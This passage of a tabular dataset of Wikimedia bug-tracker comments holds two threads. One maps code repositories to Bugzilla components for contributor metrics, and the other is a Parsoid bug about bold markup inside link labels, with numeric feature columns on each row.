http://korma.wmflabs.org/browser/its-repos.html",,,1382549565,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5454545454545454,1.0,"Ok guys, you have the viz in:

URL"
255905,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Great, I have programmed for adding to the report the next repos:

Analytics > Kraken: https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=kraken&list_id=243545
Datasets > Webstatscollector: https://bugzilla.wikimedia.org/buglist.cgi?product=datasets&component=Webstatscollector&list_id=243568
Analytics > Wikimetrics https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=wikimetrics
Analytics > Wikistats https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=wikistats
Analytics > Limn https://bugzilla.wikimedia.org/buglist.cgi?product=analytics&component=limn
Analytics > General/Unknown https://bugzilla.wikimedia.org/buglist.cgi?product=Analytics&component=General%2FUnknown
Commons App > iOS (iPhone or iPad) https://bugzilla.wikimedia.org/buglist.cgi?product=Commons%20App&component=iOS%20%28iPhone%20or%20iPad%29
Wikipedia App https://bugzilla.wikimedia.org/buglist.cgi?product=wikipedia%20app
Wiki Loves Monuments > Mobile https://bugzilla.wikimedia.org/buglist.cgi?product=Wiki%20Loves%20Monuments&component=Mobile
Wikimedia > Continuous integration https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Continuous%20integration
Wikimedia > DNS https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=dns
Wikimedia > OTRS https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=otrs
Wikimedia > Bugzilla https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=bugzilla
Wikimedia > wikibugs IRC bot https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=wikibugs%20IRC%20bot
Wikimedia > Blog https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=blog
Wikimedia > Fundraising: Misc. https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Fundraising%3A%20Misc.
Wikimedia > Fundraising: Requirements https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=Fundraising%3A%20Requirements
Tools > code-utils https://bugzilla.wikimedia.org/buglist.cgi?product=tools&component=code-utils
Tools > mw-dumper https://bugzilla.wikimedia.org/buglist.cgi?product=tools&component=mwdumper
Pywikibot > * https://bugzilla.wikimedia.org/buglist.cgi?product=Pywikibot
MediaWiki-Vagrant > * https://bugzilla.wikimedia.org/buglist.cgi?product=MediaWiki-Vagrant
Wikimedia Labs > tools https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia%20labs&component=tools
openZIM > * https://bugzilla.wikimedia.org/buglist.cgi?product=openZIM
Wikimedia > Quality Assurance https://bugzilla.wikimedia.org/buglist.cgi?product=wikimedia&component=quality%20assurance

I have checked all of them and works. So tomorrow you should have the new info.",,,1382519999,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,40.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,1.5,35.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,12.0,3.8611111111111107,0.5,"Great, I have programmed for adding to the report the next repos:

Analytics > Kraken: URL
Datasets > Webstatscollector: URL
Analytics > Wikimetrics URL
Analytics > Wikistats URL
Analytics > Limn URL
Analytics > General/Unknown URL
Commons App > iOS (iPhone or iPad) URL
Wikipedia App URL
Wiki Loves Monuments > Mobile URL
Wikimedia > Continuous integration URL
Wikimedia > DNS URL
Wikimedia > OTRS URL
Wikimedia > Bugzilla URL
Wikimedia > wikibugs IRC bot URL
Wikimedia > Blog URL
Wikimedia > Fundraising: Misc. URL
Wikimedia > Fundraising: Requirements URL
Tools > code-utils URL
Tools > mw-dumper URL
Pywikibot > * URL
MediaWiki-Vagrant > * URL
Wikimedia Labs > tools URL
openZIM > * URL
Wikimedia > Quality Assurance URL

I have checked all of them and works. So tomorrow you should have the new info."
255900,Bugzilla data scanned for tech metrics must be aligned with repos scanned,Yes!,,,1382370607,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Yes!
255898,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Ok guys, is this ready to start downloading all those bugzilla product and components and adding them to the korma browser?",,,1382353678,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,4.478260869565218,0.9130434782608695,"Ok guys, is this ready to start downloading all those bugzilla product and components and adding them to the korma browser?"
255896,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"I guess we all know that there are no clear 1:1 mapping is possible, but instead 1:n or n:1. I just hope to avoid n:n. :)


[[wikitech:Key_Wikimedia_software_projects]] -- Bugzilla product > component


==Analytics==
analytics/kraken                 --  Analytics > Kraken
analytics/webstatscollector      --  Datasets > Webstatscollector
analytics/wikimetrics            --  Analytics > Wikimetrics
analytics/wikistats              --  Analytics > Wikistats
github.com/wikimedia/limn        --  Analytics > Limn
analytics/*                      --  Analytics > General/Unknown
==Mobile apps==
apps/android/commons 
github.com/wikimedia/Commons-iOS --  Commons App > iOS (iPhone or iPad)
github.com/wikimedia/WikipediaMobile  --  Wikipedia App
github.com/wikimedia/WikipediaMobileFirefoxOS  --  Wikipedia App
github.com/wikimedia/WLMMobile   -- Wiki Loves Monuments > Mobile
==Integration==
*                                --  Wikimedia > Continuous integration
==Operations==
Hard to define, mostly in rt.wikimedia.org, some in Bugzilla under ""Wikimedia > General"" with keyword ""ops"".
operations/dns                   --  Wikimedia > DNS
operations/software/otrs         --  Wikimedia > OTRS
==Wikimedia==
====Bugzilla====
wikimedia/bugzilla/modifications --  Wikimedia > Bugzilla
wikimedia/bugzilla/triagescripts --  Wikimedia > Bugzilla
wikimedia/bugzilla/wikibugs      --  Wikimedia > wikibugs IRC bot
====Communication====
wikimedia/communications/WMBlog  --  Wikimedia > Blog
====Fundraising====
Mostly using CiviCRM; related components in Bugzilla are:
                             --  MediaWiki extensions > FundraiserLandingPage
                                 --  MediaWiki extensions > FundraiserPortal
                                 --  Wikimedia > Fundraising Misc.
                                 --  Wikimedia > Fundraising Requirements
==MediaWiki misc==
mediawiki/php/FastStringSearch
    mediawiki/php/NativePreprocessor
    mediawiki/php/luasandbox     --  MediaWiki extensions > Scribunto
    mediawiki/php/wikidiff2      --  MediaWiki extensions > wikidiff2
mediawiki/tools/code-utils       --  Tools > code-utils
mediawiki/tools/mwdumper         --  Tools > mw-dumper
==Pywikibot==
pywikibot/*                      --  Pywikibot > *
==Other==
mediawiki/vagrant                --  MediaWiki-Vagrant > *
labs/toollabs                    --  Wikimedia Labs > tools
openzim                          --  openZIM > *
qa/browsertests                  --  Wikimedia > Quality Assurance
==Core Extensions==
Don't want to spend too much time going through the list and syncing with https://bugzilla.wikimedia.org/editcomponents.cgi?product=MediaWiki%20extensions however noteworthy naming differences from the top of my head:

PageTriage                       --  MediaWiki extensions > PageCuration
Parsoid                          --  Parsoid > *
SyntaxHighlight_GeSHi     --  MediaWiki extensions > SyntaxHighlight (GeSHi)
VisualEditor                     --  VisualEditor > *
Wikibase                         --  MediaWiki extensions > WikidataRepo",,,1382025323,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,True,,,15,,0.5,0.0,0.0,0.0,0.16666666666666666,1.6666666666666667,0.16666666666666666,0.0,0.0,0.0,0.8333333333333334,0.16666666666666666,0.0,0.0,0.16666666666666666,0.6666666666666666,0.0,1.1666666666666667,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,1.3333333333333333,0.5,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,2.0,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,15.833333333333334,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,0.3333333333333333,0.5,17.666666666666668,0.16666666666666666,0.8333333333333334,0.8333333333333334,0.0,0.16666666666666666,0.0,0.0,0.6666666666666666,0.0,0.8333333333333334,0.0,1.1666666666666667,2.5,18.166666666666668,0.0,0.6666666666666666,0.0,1.1666666666666667,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,5.115959217644611,0.5308780690803162,"I guess we all know that there are no clear 1:1 mapping is possible, but instead 1:n or n:1. I just hope to avoid n:n. :)


[[wikitech:Key_Wikimedia_software_projects]] -- Bugzilla product > component


==Analytics==
analytics/kraken                 --  Analytics > Kraken
analytics/webstatscollector      --  Datasets > Webstatscollector
analytics/wikimetrics            --  Analytics > Wikimetrics
analytics/wikistats              --  Analytics > Wikistats
github.com/wikimedia/limn        --  Analytics > Limn
analytics/*                      --  Analytics > General/Unknown
==Mobile apps==
apps/android/commons 
github.com/wikimedia/Commons-iOS --  Commons App > iOS (iPhone or iPad)
github.com/wikimedia/WikipediaMobile  --  Wikipedia App
github.com/wikimedia/WikipediaMobileFirefoxOS  --  Wikipedia App
github.com/wikimedia/WLMMobile   -- Wiki Loves Monuments > Mobile
==Integration==
*                                --  Wikimedia > Continuous integration
==Operations==
Hard to define, mostly in rt.wikimedia.org, some in Bugzilla under ""Wikimedia > General"" with keyword ""ops"".
operations/dns                   --  Wikimedia > DNS
operations/software/otrs         --  Wikimedia > OTRS
==Wikimedia==
====Bugzilla====
wikimedia/bugzilla/modifications --  Wikimedia > Bugzilla
wikimedia/bugzilla/triagescripts --  Wikimedia > Bugzilla
wikimedia/bugzilla/wikibugs      --  Wikimedia > wikibugs IRC bot
====Communication====
wikimedia/communications/WMBlog  --  Wikimedia > Blog
====Fundraising====
Mostly using CiviCRM; related components in Bugzilla are:
                             --  MediaWiki extensions > FundraiserLandingPage
                                 --  MediaWiki extensions > FundraiserPortal
                                 --  Wikimedia > Fundraising Misc.
                                 --  Wikimedia > Fundraising Requirements
==MediaWiki misc==
mediawiki/php/FastStringSearch
    mediawiki/php/NativePreprocessor
    mediawiki/php/luasandbox     --  MediaWiki extensions > Scribunto
    mediawiki/php/wikidiff2      --  MediaWiki extensions > wikidiff2
mediawiki/tools/code-utils       --  Tools > code-utils
mediawiki/tools/mwdumper         --  Tools > mw-dumper
==Pywikibot==
pywikibot/*                      --  Pywikibot > *
==Other==
mediawiki/vagrant                --  MediaWiki-Vagrant > *
labs/toollabs                    --  Wikimedia Labs > tools
openzim                          --  openZIM > *
qa/browsertests                  --  Wikimedia > Quality Assurance
==Core Extensions==
Don't want to spend too much time going through the list and syncing with URL however noteworthy naming differences from the top of my head:

PageTriage                       --  MediaWiki extensions > PageCuration
Parsoid                          --  Parsoid > *
SyntaxHighlight_GeSHi     --  MediaWiki extensions > SyntaxHighlight (GeSHi)
VisualEditor                     --  VisualEditor > *
Wikibase                         --  MediaWiki extensions > WikidataRepo"
255892,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Andre, if you could point to the Bugzilla product/component of each project at https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects that would be perfect!",,,1381773164,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,15,,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,14.0,5.0,0.0,9.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,5.0,18.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Andre, if you could point to the Bugzilla product/component of each project at URL that would be perfect!"
255888,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"(If there is something I can specifically help with as Bugzilla admin, please tell me what I need to do for you folks.)",,,1381764843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,True,,,15,,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,19.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,15.0,19.0,4.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.5925925925925926,0.9629629629629629,"(If there is something I can specifically help with as Bugzilla admin, please tell me what I need to do for you folks.)"
255882,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Quim, for the Bugzilla components mapping, do you have some plan in mind for gathering the info from Wikimedia Community? Maybe we can start doing the mapping of the more clear components, but it there is a complete process to cover all of them, much better!",,,1381760730,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,15,,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,2.0,13.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,8.0,13.0,8.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,4.0,4.0,0.0,0.0,4.096153846153846,0.8076923076923077,"Quim, for the Bugzilla components mapping, do you have some plan in mind for gathering the info from Wikimedia Community? Maybe we can start doing the mapping of the more clear components, but it there is a complete process to cover all of them, much better!"
255876,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Yes Quim, we can scan only components.",,,1380184604,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,"Yes Quim, we can scan only components."
255869,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Álvaro, can MetricsGrimoire scan only specific components of a Bugzilla product? The reason to ask is that, ideally, we wouldn't scan the whole MediaWiki Extension product but only the relevant components.",,,1379952721,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,3.0,0.0,11.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,16.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.72972972972973,0.8108108108108109,"Álvaro, can MetricsGrimoire scan only specific components of a Bugzilla product? The reason to ask is that, ideally, we wouldn't scan the whole MediaWiki Extension product but only the relevant components."
56454,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"**Author:** `jmichrina`

**Description:**
Example:
Line from ""International_Air_Transport_Association_airport_code""

DFW for Dallas–Fort Worth, DTW for Detroit–Wayne County, RDU for Raleigh–Durham, MSP for Minneapolis–St. Paul and LBA for Leeds Bradford (Airport).

Line appears correctly formatted in editor [caps represent bold]:
dfw for Dallas-Fort Worth, dtw for DetroiT-Wayne county, rdu for Raleigh-DUrham, msp for Minneapolis-St. Paul and lba for Leeds Bradford (Airport).

Line appears incorrect on page [caps represent bold]:
dfw for DALLAS-FORT WORTH, stw for dEtROIT-wAYNE COUNTY, rdu for RALEIGH-DURHAM, msp for mINNEAPOLIS-sT. pAUL and lba for LEEDS BRADFORD (AIRPORT).

Note that the correct version appears in the editor even after it's saved.

Possibly related to bug 53208, but I didn't have time to verify.

--------------------------
**Version**: unspecified
**Severity**: major",Medium,50.0,1379880120,1386117085.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-geakkjwdr2b6k3vobqx7,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,9.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.333333333333332,0.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,1.0,9.333333333333334,18.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857843137254902,0.7107843137254902,"**Author:** CODE

**Description:**
Example:
Line from ""International_Air_Transport_Association_airport_code""

DFW for Dallas–Fort Worth, DTW for Detroit–Wayne County, RDU for Raleigh–Durham, MSP for Minneapolis–St. Paul and LBA for Leeds Bradford (Airport).

Line appears correctly formatted in editor [caps represent bold]:
dfw for Dallas-Fort Worth, dtw for DetroiT-Wayne county, rdu for Raleigh-DUrham, msp for Minneapolis-St. Paul and lba for Leeds Bradford (Airport).

Line appears incorrect on page [caps represent bold]:
dfw for DALLAS-FORT WORTH, stw for dEtROIT-wAYNE COUNTY, rdu for RALEIGH-DURHAM, msp for mINNEAPOLIS-sT. pAUL and lba for LEEDS BRADFORD (AIRPORT).

Note that the correct version appears in the editor even after it's saved.

Possibly related to bug 53208, but I didn't have time to verify.

--------------------------
**Version**: unspecified
**Severity**: major"
254921,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"This has long been merged, so closing as fixed. Please reopen if there is still an issue.",,,1386117085,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.65,0.95,"This has long been merged, so closing as fixed. Please reopen if there is still an issue."
254914,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"Tidy should result in non-broken HTML (unless there is a bug in Tidy). I just checked and Tidy fixes PHP parser's broken HTML and generates: <p><b><a href=""/wiki/Foo"" title=""Foo"" class=""mw-redirect"">F<b>oo</b> B<b>ar</b></a></b></p> (Can be verifed at https://en.wikipedia.org/wiki/User:Ssastry/sandbox)

As for Parsoid, yes, this kind of broken wikitext was not being handled properly so far, but that is set to change with https://gerrit.wikimedia.org/r/#/c/83216/ which is awaiting review.

That patch generates the following HTML on the snippet which is similar to what Tidy generates

<p data-parsoid='{""dsr"":[0,27,0,0]}'><b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[0,27,3,0]}'><a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""stx"":""piped"",""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""dsr"":[3,27,6,2]}'>F<b data-parsoid='{""dsr"":[10,19,3,3]}'>oo </b>B<b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[20,25,3,0]}'>ar</b></a></b></p>",,,1380680793,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,2.0,0.5,4.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,3.5,6.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,2.0,4.5,10.5,0.5,1.5,5.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,0.5,6.5,10.5,0.0,2.5,0.0,0.5,0.0,2.0,0.5,0.0,0.5,0.0,0.0,9.0,5.326291079812206,0.7340571205007824,"Tidy should result in non-broken HTML (unless there is a bug in Tidy). I just checked and Tidy fixes PHP parser's broken HTML and generates: <p><b><a href=""/wiki/Foo"" title=""Foo"" class=""mw-redirect"">F<b>oo</b> B<b>ar</b></a></b></p> (Can be verifed at URL

As for Parsoid, yes, this kind of broken wikitext was not being handled properly so far, but that is set to change with URL which is awaiting review.

That patch generates the following HTML on the snippet which is similar to what Tidy generates

<p data-parsoid='{""dsr"":[0,27,0,0]}'><b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[0,27,3,0]}'><a rel=""mw:WikiLink"" href=""./Foo"" data-parsoid='{""stx"":""piped"",""a"":{""href"":""./Foo""},""sa"":{""href"":""Foo""},""dsr"":[3,27,6,2]}'>F<b data-parsoid='{""dsr"":[10,19,3,3]}'>oo </b>B<b data-parsoid='{""autoInsertedEnd"":1,""dsr"":[20,25,3,0]}'>ar</b></a></b></p>"
254908,Broken wikitext with bold inside and outside a label wrongly interpretted as correct by Parsoid,"I have fixed the particular problem with this edit: https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=574406042&oldid=574202912

This is caused by a bug in Parsoid, I believe, which is wrongly interpretting wikitext as valid when it should be invalid. Specifically:

  '''[[Foo|F'''oo '''B'''ar]]

… as …

  <b><a href=Foo>F</a></b><a href=Foo>oo </a><b><a href=Foo>B</a></b><a href=Foo>ar</a>

… whereas it should result in broken HTML, per the PHP parser (post-Tidy), as:

  <b><a href=Foo>F<b>oo </b>B<b>ar</b></a>

The broken wikitext was added in https://en.wikipedia.org/w/index.php?title=International_Air_Transport_Association_airport_code&diff=568156811&oldid=568156261 which isn't tagged as a VisualEditor edit but possibly could have been (and a secondary bug means it isn't tagged) - will investigate separately.",,,1380075628,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-geakkjwdr2b6k3vobqx7,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,2.5,1.0,4.0,0.5,0.0,0.0,0.0,4.5,3.0,0.0,0.0,0.0,1.0,0.5,4.0,6.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,5.0,1.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,9.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,3.5,4.0,12.5,1.0,1.0,5.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,2.5,6.5,13.5,0.0,1.0,0.0,2.5,0.0,1.5,1.5,0.0,0.5,0.0,0.0,10.5,3.40625,0.70625,"I have fixed the particular problem with this edit: URL

This is caused by a bug in Parsoid, I believe, which is wrongly interpretting wikitext as valid when it should be invalid. Specifically:

  '''[[Foo|F'''oo '''B'''ar]]

… as …

  <b><a href=Foo>F</a></b><a href=Foo>oo </a><b><a href=Foo>B</a></b><a href=Foo>ar</a>

… whereas it should result in broken HTML, per the PHP parser (post-Tidy), as:

  <b><a href=Foo>F<b>oo </b>B<b>ar</b></a>

The broken wikitext was added in URL which isn't tagged as a VisualEditor edit but possibly could have been (and a secondary bug means it isn't tagged) - will investigate separately."
56446,VisualEditor: Editor incorrectly selects slug and infobox onload,"Screenshot

